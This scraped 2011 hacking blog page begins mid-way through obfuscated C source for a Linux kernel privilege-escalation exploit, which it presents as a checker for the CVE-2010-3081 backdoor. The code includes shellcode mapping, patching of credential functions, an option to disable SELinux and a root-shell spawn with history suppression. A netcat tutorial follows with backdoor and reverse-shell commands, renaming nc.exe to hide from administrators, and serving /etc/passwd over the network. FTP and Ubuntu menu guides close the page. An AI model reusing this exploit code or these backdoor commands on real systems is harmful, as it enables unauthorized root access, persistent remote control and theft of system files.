&quot;); // d0nt p4tch m3 br0
    flags |= KERN_HHSYPPLORQTWGFD;
  }
  close(fd);
  ver = wtfyourunhere_heee(krelease, kversion);
  if(ver &lt; 0)
    __yyy_tegdtfsrer(&quot;!!! uname failed
&quot;);
  __gggdfstsgdt_dddex(&quot;$$$ Kernel release: %s
&quot;, krelease);

if(argc != 1)
  {
    while( (ret = getopt(argc, argv, &quot;sflc:k:o:&quot;)) &gt; 0)
    {
      switch(ret)
      {
        case &#039;f&#039;:
          flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
          break;

case &#039;l&#039;:
   flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
   break;
        case &#039;c&#039;:
          if(!optarg || parse_cred(optarg) &lt; 0)
              __yyy_tegdtfsrer(&quot;!!! Unable to parse cred codes
&quot;);
          break;
        case &#039;k&#039;:
          if(optarg)
            _m_fops = strtoull(optarg, NULL, 16);
          else
      __yyy_tegdtfsrer(&quot;!!! Unable to parse fops numbers
&quot;);
          break;
        case &#039;s&#039;:
          if(!isSelinuxEnabled())
            __pppp_tegddewyfg(&quot;??? -s ignored: SELinux not enabled
&quot;);
          else
            flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
          break;
            
        case &#039;o&#039;:
          if(optarg)
            _m_cpu_off = strtoull(optarg, NULL, 16);
   else
     __yyy_tegdtfsrer(&quot;!!! Unable to parse cpu_off numbers
&quot;);
          break;
      }
    }
  }

if(ver &gt;= 29) // needs cred structure 
  {
    flags |= KERN_DGGDYDTEGGETFDRLAK;
  
    if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
    {
      _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
      _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD); 
      _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
    }
    if(!_m_cred[0])
      error_no_symbol(&quot;prepare_creds&quot;);
    if(!_m_cred[1])
      error_no_symbol(&quot;override_creds&quot;);
    if(!_m_cred[2])
      error_no_symbol(&quot;revert_creds&quot;);
    
    __print_verbose(&quot;$$$ Kernel credentials detected
&quot;);
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
  }
  if(ver &gt;= 30)  // needs cpu offset
  {
    flags |= KERN_DHHDYTMLADSFPYT;
    if(!_m_cpu_off)
    _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
    if(!_m_cpu_off)
      error_no_symbol(&quot;per_cpu__current_task&quot;);
    __print_verbose(&quot;$$$ Kernel per_cpu relocs enabled
&quot;);
    *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
    *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
  }
}

static void env_prepare(int argc, char* argv[])
{
  put_your_hands_up_hooker(argc, argv);
  if(!(flags &amp; KERN_DIS_DGDGHHYTTFSR34353_FOPS))  // try fops
  {
    __print_verbose(&quot;??? Trying the timer_list_fops method
&quot;);
    if(!_m_fops)
      _m_fops = get_sym(RW_FOPS);
    /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
     * Thanks to the guy who killed this vector... you know who you are:)
     * Lucky for you, there are more:) 
     */
    if(_m_fops) 
    {
      usefops=1;
    }
  }

if(!(flags &amp; KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
  {
    __print_verbose(&quot;??? Trying the LSM method
&quot;);
    curr_target = lsm_rhel_find_target(1);
    if(!curr_target)
    {
       __print_verbose(&quot;!!! Unable to find target for LSM method
&quot;); 
    }
    else {
      uselsm=1;
    }
  }

if(useidt &amp;&amp; (flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  {
    // -i flag
    curr_target = lsm_rhel_find_target(0);
    if(!curr_target)
    {
       __pppp_tegddewyfg(&quot;!!! Unable to find target: continue without SELinux disabled
&quot;);
       /* remove Selinux Flag */
       flags &amp;= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
    }
  }

if(!usefops &amp;&amp; !useidt &amp;&amp; !uselsm)
    __yyy_tegdtfsrer(&quot;!!! All exploit methods failed.
&quot;);  
}

static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
{
  int socklen_l = 8 + stack - addr - 16;
  return socklen_l;
}

static void __setmcbuffer(__dgdhdytrg55 value)
{
  int i;
  __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
  for(i=0; i&lt;sizeof(buffer)/sizeof(void*); i++)
    *(p+i) = value;
}

static void y0y0stack()
{
  void* map = mmap((void*)Y0Y0SMAP, 
                   PAGE_SIZE, 
                   PROT_READ|PROT_WRITE, 
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
    __xxxfdgftr_hshsgdt(&quot;mmap&quot;); 
}
static void y0y0code()
{
  void* map = mmap((void*)Y0Y0CMAP, 
                   PAGE_SIZE, 
#ifdef TRY_REMAP_DEFAULT 
     PROT_READ|PROT_WRITE,
#else
                   PROT_READ|PROT_WRITE|PROT_EXEC, 
#endif
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
    __xxxfdgftr_hshsgdt(&quot;mmap&quot;); 
}

static int rey0y0code(unsigned long old)
{
  int fd;
  void *map;
  volatile char wizard;
  char cwd[1024];
  getcwd(cwd, sizeof(cwd));  
  strcat(cwd, &quot;/__tmpfile&quot;);

unlink(cwd);
  fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  if(fd &lt; 0)
    return -1; 
  write(fd, (const void*)old, PAGE_SIZE); 
  if(munmap((void*)old, PAGE_SIZE) &lt; 0)
    return -1;
  map = mmap((void*)old, 
                   PAGE_SIZE, 
                   PROT_READ|PROT_EXEC, 
                   MAP_PRIVATE|MAP_FIXED, 
                   fd,0);
  if(map == MAP_FAILED)
    return -1;

/* avoid lazy page fault handler 
   * Triple Fault when using idt vector 
   * and no pages are already mapped:)
   */
  wizard = *((char*)old);
  unlink(cwd);
  return wizard; 
}
void finish_shellcode()
{ 
  /* set shellcode level 2 */
  if(flags &amp; KERN_DGGDYDTEGGETFDRLAK)
  {
    __print_verbose(&quot;$$$ Using cred shellcode
&quot;);
    __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
  }
  else
  {
    __print_verbose(&quot;$$$ Using standard shellcode
&quot;);
    __dhdyetgdfstreg__((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));
    *((unsigned int*)(J0J0R00T + R0C_0FF)) = getuid();
  }
#ifdef TRY_REMAP_DEFAULT
  if(rey0y0code(Y0Y0CMAP) &lt; 0)
    __yyy_tegdtfsrer(&quot;!!! Unable to remap
&quot;);
#endif
}
int method_idt_main()
{
  __yyrhdgdtfs66ytgetrfd *patch;
  __print_verbose(&quot;$$$ Building shellcode - IDT method
&quot;);   
  patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  if(flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  {
    __print_verbose(&quot;$$$ including code to disable SELinux
&quot;);
    p4tch_sel1nux_codztegfaddczda(curr_target);
  }
    
  __dhdyetgdfstreg__((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  finish_shellcode();
  asm volatile(&quot;int $0xdd
&quot;);
  return (getuid() == 0);
}
int method_idt()
{
  /* method_idt_main() crashes if no backdoor is present, so protect ourselves */
  int pid;
  pid = fork();
  if (pid &lt; 0) {
    __xxxfdgftr_hshsgdt(&quot;!!! fork() failed&quot;);
    return 0; // error
  }
  if (pid == 0) {
    int r;
    struct rlimit rlim = {0, 0};
    setrlimit(RLIMIT_CORE, &amp;rlim);
    r = method_idt_main();
    exit(r ? 0 : 1);
  }
  int status;
  waitpid(pid, &amp;status, 0);
  if (status == 0)
    return method_idt_main();
  else
    return 0;
}
void prepare_fops_lsm_shellcode()
{
  __yyrhdgdtfs66ytgetrfd *patch;
  __print_verbose(&quot;$$$ Building shellcode - fops/LSM method
&quot;);   
  patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  __setmcbuffer(J0J0S);
  if(uselsm &amp;&amp; (flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  {
      __print_verbose(&quot;$$$ including code to disable SELinux
&quot;);
      p4tch_sel1nux_codztegfaddczda(curr_target);
  } 
  __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
  finish_shellcode();
}
int method_fops()
{
  int fd;
  struct pollfd pfd;
  prepare_fops_lsm_shellcode();
  fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  if(fd &lt; 0)
    __xxxfdgftr_hshsgdt(&quot;!!! could not open /proc/timer_list&quot;);
  
  pfd.fd = fd;
  pfd.events = POLLIN | POLLOUT;
  poll(&amp;pfd, 1, 0);
  return (getuid() == 0);
}
int method_lsm()
{
  int msqid;
  prepare_fops_lsm_shellcode();
  msqid = msgget(0, IPC_PRIVATE|0600);
  if(msqid &lt; 0)
    __xxxfdgftr_hshsgdt(&quot;!!! msgget() failed&quot;);
  msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
  return (getuid() == 0);
}
int main(int argc, char*argv[])
{
  int done;
  printf(BANNER);
  if (getuid() == 0) {
    fprintf(stderr, &quot;!!! Must run as non-root.
&quot;);
    return 1;
  }
  env_prepare(argc, argv);
  y0y0stack(); 
  y0y0code();
  done = 0;
  __pppp_tegddewyfg(&quot;$$$ Backdoor in LSM (1/3): &quot;);
  if (uselsm) {
    __pppp_tegddewyfg(&quot;checking...&quot;);
    done = method_lsm();
    if (done)
      __pppp_tegddewyfg(&quot;PRESENT
&quot;);
    else
      __pppp_tegddewyfg(&quot;not present.
&quot;);
  } else {
    __pppp_tegddewyfg(&quot;not available.
&quot;);
  }
  if (!done) {
    __pppp_tegddewyfg(&quot;$$$ Backdoor in timer_list_fops (2/3): &quot;);
    if (usefops) {
      __pppp_tegddewyfg(&quot;checking...&quot;);
      done = method_fops();
      if (done)
        __pppp_tegddewyfg(&quot;PRESENT
&quot;);
      else
        __pppp_tegddewyfg(&quot;not present.
&quot;);
    } else {
      __pppp_tegddewyfg(&quot;not available.
&quot;);
    }
  }
  if (!done) {
    __pppp_tegddewyfg(&quot;$$$ Backdoor in IDT (3/3): &quot;);
    if (useidt) {
      __pppp_tegddewyfg(&quot;checking...&quot;);
      fflush(stdout);
      done = method_idt();
      if (done)
        __pppp_tegddewyfg(&quot;PRESENT
&quot;);
      else
        __pppp_tegddewyfg(&quot;not present.
&quot;);
    } else {
      __pppp_tegddewyfg(&quot;NOT CHECKING
&quot;);
    }
  }
  munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  /* exec */
  if(getuid() == 0)
  {
    pid_t pid;
    printf(&quot;
&quot;
           &quot;Your in-memory kernel HAS A BACKDOOR that may have been left
&quot;
           &quot;by the published exploit for CVE-2010-3081.
&quot;
           &quot;
&quot;
           &quot;More information is available at
&quot;
           &quot;  <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>
&quot;
           );
    if (0) {
      /* spawn root shell as demonstration */
      pid = fork();
      if(pid == 0)
      {
        char *args[] = {&quot;/bin/sh&quot;, &quot;-i&quot;, NULL};
        char *envp[] = {&quot;TERM=linux&quot;, &quot;BASH_HISTORY=/dev/null&quot;, &quot;HISTORY=/dev/null&quot;, &quot;history=/dev/null&quot;, &quot;HISTFILE=/dev/null&quot;, &quot;HISTFILESIZE=0&quot;,
                        &quot;PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin&quot;, NULL };
        execve(&quot;/bin/sh&quot;, args, envp);
      } 
      else  
      {
        int status;
        waitpid(pid, &amp;status, 0);
      }
    }
  }
  else {
    printf(&quot;
&quot;
           &quot;Your system is free from the backdoors that would be left in memory
&quot;
           &quot;by the published exploit for CVE-2010-3081.
&quot;);
  }
  close(s);
  return 0;
}</code></pre>
</div>
<br />
<span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><em>Regards,</em><br />
<em>Hardeep Singh</em><br />
<em>(</em><a href="http://www.fb.com/h4rdeep" target="_blank"><em>www.fb.com/h4rdeep</em></a><em>)</em><br />
</span></div>

Exploit Kernel Linux OS Root Vulnerability kernel-2.6.18-164 2010 Local Root Exploit

Kernel-2.6.18-164 2010 Local Root Exploit Save this code as a c program file. Code: /* kernel-2.6.18-164 2010 Local Root Exploit ==...

FTP cheet sheet

7/30/2011 rahlabs 0

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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioL_Nu1zmmnEdh44j3rpUYTx3V4HqIEBY58xjFk1KxoYddL-JbUHO0TBQMU5dOTyu1q50xtvbhd7I5_0lQE8pM2pFTvX1E9eGoPu1jUW79GXYsp61YcnLwV1JFhWQwY57_qhOlDH_SHXc/s1600/ftp-diagram.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="203" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioL_Nu1zmmnEdh44j3rpUYTx3V4HqIEBY58xjFk1KxoYddL-JbUHO0TBQMU5dOTyu1q50xtvbhd7I5_0lQE8pM2pFTvX1E9eGoPu1jUW79GXYsp61YcnLwV1JFhWQwY57_qhOlDH_SHXc/s1600/ftp-diagram.jpg" width="320" /></a></div>
<br />
<ol>
<li>Navigate to the desired local directory in the Command Prompt program (Windows) or Terminal (Linux)</li>
<li>Type <i>ftp -i hostname</i></li>
<li>Type your username and password (password is invisible)</li>
<li>Type <i>type</i>  (See if it's ascii [pages] or binary [images, sounds, etc.])</li>
<li>Type <i>cd desiredDirectory</i> (Get to where you want to upload or download)</li>
<li>Type <i>pwd</i>(Confirm where you're at)</li>
<li>Type <i>ls</i> (Get a directory listing)</li>
<li>To get a directory listing of the local directory, type <i>!dir</i> (Windows) or <i>!ls</i> (Linux). The ! lets you bypass the FTP environment to issue commands to the operating system</li>
<li>Upload an image or sound?  <ol>
<li>Type <i>bin</i></li>
<li>Type <i>put filename</i></li>
</ol>
</li>
<li>Upload a page?  <ol>
<li>Type <i>asc</i></li>
<li>Type <i>put filename</i></li>
</ol>
</li>
<li>Download an image or sound?  <ol>
<li>Type <i>bin</i></li>
<li>Type <i>get filename</i></li>
</ol>
</li>
<li>Download a page?  <ol>
<li>Type <i>asc</i></li>
<li>Type <i>get filename</i></li>
</ol>
</li>
<li>Batch upload? Type <i>mput *.htm</i></li>
<li>Batch download? Type <i>mget *.htm</i></li>
<li>See other options? Type <i>help</i></li>
<li>Terminate a session? Type <i>bye</i></li>
</ol>
</div>

Cheet Sheet FTP Linux OS FTP cheet sheet

Navigate to the desired local directory in the Command Prompt program (Windows) or Terminal (Linux) Type ftp -i hostname Type your us...

Netcat Explained

7/30/2011 rahlabs 0

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<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipedql6wKPYdHI037e9Fw0WdDAqG2fym2zcqskBbp25tpzTQ4ezPzG3UQdH_Ubn1WMyZlYrrukqkG1j7txXymgNcMEI2f1DykRhEv8ghyphenhyphenO3BsOdPAmw7enITZlSm0hzYRgKHOpiAI3iPU/s1600/ncat-logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipedql6wKPYdHI037e9Fw0WdDAqG2fym2zcqskBbp25tpzTQ4ezPzG3UQdH_Ubn1WMyZlYrrukqkG1j7txXymgNcMEI2f1DykRhEv8ghyphenhyphenO3BsOdPAmw7enITZlSm0hzYRgKHOpiAI3iPU/s1600/ncat-logo.png" /></a></div>
<span class="Apple-style-span" style="background-color: #fafafa; color: #333333; font-family: "verdana" , "arial" , "tahoma" , "calibri" , "geneva" , sans-serif; font-size: 13px;"><span style="font-size: medium;"><u>NETCAT AND CRYPTCAT</u></span></span><br />
<br />
<div id="post_message_14830" style="margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<br />
This tutorial is a combination of different sources. I can not take credit for all the information I just compiled it and added my touch to it.<br />
<br />
<h3>
Disclaimer</h3>
For educational uses only. I do not condone any use of this tutorial for malicious behavior. Its simple. If its not your computer. Don't mess with it.<br />
<br />
<h3>
What is netcat?</h3>
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP Netcat is designed to be a dependable "back-end" device that can be used candidly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.<br />
<br />
<h3>
Download</h3>
The official download website of Netcat for both Windows and Linux is <a href="http://www.downloadnetcat.com/" style="color: #417394; text-decoration: none;" target="_blank">http://www.downloadnetcat.com/</a>. I am not going to go into depth on how to install. Basically if your running windows place nc.exe in system32 folder. If your running Linux you sudo apt-get install netcat (or whatever the command is for your version of Linux)or compile it yourself from the tarball.<br />
<br />
<h3>
Command Line</h3>
-d Puts netcat in stealth mode. Therefore it runs in the background. This command is only available on windows.<br />
-e <command> If compiled into the GAPING_SECURITY_HOLE option, a listening netcat will execute <command> any time someone makes a connection on the port to which it is listening<br />
-i <seconds> This is the delay interval. This is the amount of time netcat waits between data sends.<br />
-g <route-list>Netcat supports loose source routing.<br />
-G <hop-pointer> This option allows you to control which ip in your route-list the next hop.<br />
-l This is listen mode.<br />
-L This is a stronger listen mode only availiable in windows. It tells Netcat to restart its listen mode with the same command-line options after a connection is closed<br />
-n Tells netcat not to do any hostname lookups.<br />
-o <hexfile> Does a hex dump on the data and stores it in hexfile.<br />
-p <port> Specifies the port<br />
-r Netcatchooses random local and remote ports.<br />
-sSpecifies the source ip adress netcat should use when making its connections.<br />
-t If compiled with the telnet option netcat will be able to handle telnet negotiation with a telnet server.<br />
-u Tells netcat to use UDP instead of TCP.<br />
-v Verbose. Controls how much netcat will tell you what its doing.<br />
-w <seconds> Controls how long netcat will wait before canceling connection.<br />
-z Tells netcat to only send enough data to find which ports are listening in your specified range.<br />
<br />
<br />
<h3>
Usage</h3>
<br />
<strong>Netcat Backdoor Victim</strong>:<br />
<div class="command wobble-horizontal">
nc -L -d -p <port> -t -e cmd.exe</div>
<br />
<br />
-L is the listening command. -d tells netcat not to open a window when running. -p assigns a port. -t is for telnet. -e activates cmd.exe when client connects to it<br />
<br />
<br />
<strong>Client</strong>:<br />
<div class="command wobble-horizontal">
nc -v <ip address of victim></div>
<br />
<br />
<br />
<br />
note: In this example netcat runs in the background on the victims machine. A system admin may open task manager and see that nc.exe is running. A smart hacker would change nc.exe to something like iexplorer.exe or updatemanager.exe in order to avoid suspiscion. Now, if a system administrator runs a trusted netstat –a –n command at the DOS prompt, he or she might notice that something is running on a rather odd port, telnet to that port, and discover the trick. However, Windows uses several random ports for varying reasons and netstat output can be time consuming to parse, especially on systems<br />
with a lot of activity. Hackers might try a different approach. If they've infiltrated a Citrix server, for example, accessed by several users who are surfing the Web, you'd expect to see a lot of Domain Name System (DNS) lookups and Web connections. Running netstat –a –n would reveal a load of outgoing TCP port 80 connections. Instead of having an instance of Netcat listening on the Windows box and waiting for connections, Netcat can pipe the input and output of the cmd.exe program to another Netcat instance listening on a remote box on port 80. On his end, the hacker would run: <br />
<div class="system highlight pop">
nc –l –p 80 </div>
From the Windows box, the hacker could cleverly "hide" Netcat again and issue these commands:<br />
<div class="command wobble-horizontal">
mkdir C:\Windows\System32\Drivers\q<br />
move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe<br />
cd Windows\System32\Drivers\q<br />
WINDOWS\System32\DRIVERS\q>iexplore.exe<br />
Cmd line: -d -e cmd.exe originix 80<br />
WINDOWS\System32\DRIVERS\q> </div>
Now the listening Netcat should pick up the command shell from the Windows machine. This can do a better job of hiding a backdoor from a system administrator. At first glance, the connection will just look like Internet Explorer making a typical HTTP connection. Its only disadvantage for the hacker is that after terminating the shell, there's no way of restarting it on the Windows side.<br />
<br />
<br />
<h3>
Port Scanning Command:</h3>
<div class="command wobble-horizontal">
nc -z -w2 <IP Address> 1-6000 </div>
<br />
<br />
<br />
-z tells netcat to run a port scan. -w2 tells netcat to wait for 2 seconds before disconnecting. 1-6000 are the ports to scan. If you want you can add -v or -vv to see more of what is going on making it:<br />
nc -vv -z -w2 <IP Address> 1-6000<br />
<br />
<br />
<h3>
Banner Grabbing</h3>
Banner grabbing is a function that helps you see what is running behind a given port.<br />
<br />
Command:<br />
<div class="command wobble-horizontal">
nc <IP Address> 80</div>
<br />
<br />
<br />
Command:<br />
<div class="command wobble-horizontal">
GET HTTP<br />
or<br />
HEAD / HTTP/1.0</div>
<br />
<strong> (Hit return twice)</strong><br />
<br />
<br />
<h3>
File Transfer:</h3>
From system in which file is stored:<br />
<div class="command wobble-horizontal">
nc –l –u –p 55555 < file_we_want</div>
<br />
<br />
Command of receiving system:<br />
<div class="command wobble-horizontal">
nc –u –targethost 55555 > copy_of_file</div>
<br />
<br />
<br />
This can be used to grab the etc/passwd file. This can be done by utilizing the command<br />
<div class="command wobble-horizontal">
nc -l -u -p 55555 < /etc/passwd</div>
<br />
<br />
<br />
Netcat does file transfer under the radar. It does not leave any logs whatsoever. Many other FTP do leave logs.<br />
<br />
<br />
<h3>
Setting a Trap</h3>
You could run a instance of netcat on a port a hacker may be expecting to find vulnerabilities. If your good you may be able to trap the hacker using something like command:<br />
<div class="command wobble-horizontal">
nc –l –v –e <a href="http://fakemail.pl/">fakemail.pl</a> –p 25 >> traplog.txt</div>
<br />
<br />
Your fakemail script might echo some output to tell the world it's running a version of sendmail and practically beg a script kiddy to come hack it . Once he does you could flood him with what ever you want. If your nice you could just run a script to grab his IP.<br />
<br />
<br />
<h3>
Linux Backdoor</h3>
Most of this tutorial was built around hacking windows with netcat. However, the same can be done on a Linux system with the command:<br />
<div class="command wobble-horizontal">
nc –u –l –p 55555 –e /bin/sh nc</div>
<br />
<br />
<h3>
Create your own usage</h3>
There are several shell scripts and C programs that generate even more possible ways to utilize netcat. With a little understanding of computer programming you can create your own usage of netcat. I encourage you to try.<br />
<br />
<br />
<h3>
Cryptcat</h3>
Cryptcat is what is self explanatory. It is an encrypted version of netcat. It uses an enhanced version of twofish encryption to keep netcat traffic hidden.<br />
<br />
<br />
You might argue that netcat is a glorified telnet. Well it is. However it has far more capabilities. Netcat is my favorite tool because of its simplicity. It is easily compiled into scripts or code. You may say "Abstrakt, are you an idiot? There are programs such as meterpreter that can be used as backdoors that are far more easier." To this I say yes I am an idiot, but netcat is much more than just a backdoor. You may also say "Abstrakt, you are an idiot. How do you get a copy of nc.exe into the system32 folder without having access to the computer?" Again I agree I am an idiot but I encourage you to learn to program in C or write scripts in perl and find a way to compile nc.exe into a code or script. It is a great tool to have in your arsenal even if you are a meterpreter fan. There are many other uses of netcat than what I explained. I encourage you to look further into it. Also this is my first post on intern0t. All criticism is welcome and preferred. I plan to create more advanced netcat tutorials in the future going further in depth with each usage.<br />
<br /></div>
</div>

Cheet Sheet Cryptcat Hacking Netcat Tutorials Netcat Explained

NETCAT AND CRYPTCAT This tutorial is a combination of different sources. I can not take credit for all the information I just compil...

Classic start menu in Ubuntu 11.04

7/20/2011 rahlabs 0

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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIvsTavCfw38WJ9R0kg_rM3x0oQrWs94jla5ymIG8iRuSucMNU3JsGZN9st_I6mYpUAIxd4dQQwGKNYmwi08-lJ2uQy4-ALZQWZL0IpfOU8EnB-aiKMj-kOoagdg6xO0sDCZafSAL-0yo/s1600/StartMenu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIvsTavCfw38WJ9R0kg_rM3x0oQrWs94jla5ymIG8iRuSucMNU3JsGZN9st_I6mYpUAIxd4dQQwGKNYmwi08-lJ2uQy4-ALZQWZL0IpfOU8EnB-aiKMj-kOoagdg6xO0sDCZafSAL-0yo/s1600/StartMenu.png" width="282" /></a></div>
<br />
<div>
<span class="Apple-style-span">In Ubuntu 11.04 Unity, you might prefer the left launcher bar but dislike the searching-style app menu in top-panel. Mac-like dock has classic app menu but there also has many useless shortcut icons that already shown in left launcher bar.</span></div>
<div>
<span class="Apple-style-span">Although we cannot replace the top-panel with the classic gnome-panel, there’s a classic start menu can be added onto left launcher bar.</span></div>
<br />
<div>
<span class="Apple-style-span">Steps:</span></div>
<div>
<span class="Apple-style-span"><strong>1.)</strong> Open up a terminal window and install cardapio from PPA:</span></div>
<div class="command wobble-horizontal">
sudo add-apt-repository ppa:cardapio-team/unstable<br />
sudo apt-get update<br />
sudo apt-get install cardapio</div>
<br />
<br />
<span class="Apple-style-span"><strong>2.)</strong> Create a launcher by:</span><br />
<br />
<div class="command wobble-horizontal">
mkdir ~/.local/share/applications<br />
gksudo gedit ~/.local/share/applications/Cardapio.desktop</div>
<br />
<br />
<span class="Apple-style-span">copy and paste following :</span><br />
<br />
<div class="content shadow-radial">
[Desktop Entry]<br />
Version=1.0<br />
Type=Application<br />
Terminal=false<br />
Exec=cardapio<br />
Name=menu<br />
Icon=gnome-main-menu</div>
<br />
<br />
<div>
<span class="Apple-style-span">Then close and save it.</span></div>
<span class="Apple-style-span"><strong>3.)</strong> In nautilus file browser, navigate to “<span class="system pop">.local/share/applications </span>” (Press Ctrl+H to view hidden files) and then drag and drop <span class="system pop">Cardapio.desktop </span> onto left Launcher.</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://ubuntuguide.net/wp-content/uploads/2011/05/StartMenu_on_Launcher-214x360.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span class="Apple-style-span"><img border="0" height="320" src="http://ubuntuguide.net/wp-content/uploads/2011/05/StartMenu_on_Launcher-214x360.png" width="190" /></span></a></div>
<br />
<div>
<span class="Apple-style-span"><strong>4.)</strong> Adjust the pop-up menu location.</span></div>
<div>
Before this, when you click the icon on Launcher it pops-up the menu in middle area of screen. To adjust the pop-up location, open up <br />
<div class="system pop">
CompizConfig-Setting-Manager  </div>
(run <br />
<div class="command wobble-horizontal">
sudo apt-get install compizconfig-settings-manager </div>
 if not installed) and click into the configuration page of <strong>Place Windows</strong>.</div>
<div>
<span class="Apple-style-span">In Fixed Window Placement tab, click New under Windows with Fixed Positions:</span></div>
<div>
<em><span class="Apple-style-span">type “name=cardapio” (without quotes) after Positioned windows<br />
check “Keep in work area”<br />
set proper value of x or y positions</span></em></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://ubuntuguide.net/wp-content/uploads/2011/05/Place_windows1-500x291.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span class="Apple-style-span"><img border="0" height="186" src="http://ubuntuguide.net/wp-content/uploads/2011/05/Place_windows1-500x291.png" width="320" /></span></a></div>
<div>
<em><span class="Apple-style-span">Keep in touch to get new updates.</span></em><br />
<br />
<em><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><em>Regards,</em><br />
<em>Hardeep Singh</em><br />
<em>(</em><a href="http://www.fb.com/h4rdeep" target="_blank"><em>www.fb.com/h4rdeep</em></a><em>)</em></span></em> </div>
</div>

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In Ubuntu 11.04 Unity, you might prefer the left launcher bar but dislike the searching-style app menu in top-panel. Mac-like dock has ...